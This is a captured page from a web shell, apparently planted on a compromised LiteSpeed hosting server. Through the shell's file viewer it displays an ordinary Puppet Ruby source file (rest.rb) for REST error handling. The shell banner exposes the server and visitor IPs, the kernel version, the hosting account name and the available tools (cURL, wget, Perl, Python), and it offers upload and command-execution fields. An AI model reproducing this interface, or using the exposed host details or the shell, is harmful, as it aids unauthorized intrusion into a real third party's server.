403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.224.64.10
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/indirector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/indirector//rest.rb
# Access objects via REST
class Puppet::Indirector::REST < Puppet::Indirector::Terminus
  def find(request)
    raise NotImplementedError
  end

  def head(request)
    raise NotImplementedError
  end

  def search(request)
    raise NotImplementedError
  end

  def destroy(request)
    raise NotImplementedError
  end

  def save(request)
    raise NotImplementedError
  end

  def validate_key(request)
    # Validation happens on the remote end
  end

  private

  def convert_to_http_error(response)
    if response.body.to_s.empty? && response.reason
      returned_message = response.reason
    elsif response['content-type'].is_a?(String)
      content_type, body = parse_response(response)
      if content_type =~ /[pj]son/
        returned_message = Puppet::Util::Json.load(body)["message"]
      else
        returned_message = response.body
      end
    else
      returned_message = response.body
    end

    message = _("Error %{code} on SERVER: %{returned_message}") % { code: response.code, returned_message: returned_message }
    Net::HTTPError.new(message, Puppet::HTTP::ResponseConverter.to_ruby_response(response))
  end

  # Returns the content_type, stripping any appended charset, and the
  # body, decompressed if necessary
  def parse_response(response)
    if response['content-type']
      [ response['content-type'].gsub(/\s*;.*$/,''), response.body ]
    else
      raise _("No content type in http response; cannot parse")
    end
  end

  def elide(string, length)
    if Puppet::Util::Log.level == :debug || string.length <= length
      string
    else
      string[0, length - 3] + "..."
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit